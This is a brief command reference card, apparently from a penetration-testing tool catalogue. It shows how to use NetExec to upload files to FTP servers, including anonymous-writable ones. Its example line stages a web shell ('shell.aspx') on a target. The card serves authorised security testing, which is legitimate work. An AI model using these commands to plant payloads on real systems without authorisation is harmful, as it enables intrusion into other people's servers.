NetExec FTP Upload

Upload a file to an FTP server. Useful for staging payloads on misconfigured anonymous-writable shares.

Tool
nxc
Category
Utilities / File Transfer
Platform
linux
Requires
password
Protocols
FTP

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc ftp <target> -u '<user>' -p '<password>' --put <local-file>

Credential variants

The same attack using a different authentication material.

Anonymous requires no credentials

nxc ftp <target> -u 'anonymous' -p '' --put <local-file>

Examples

nxc ftp 10.10.10.10 -u anonymous -p '' --put shell.aspx

Tags

netexec nxc ftp upload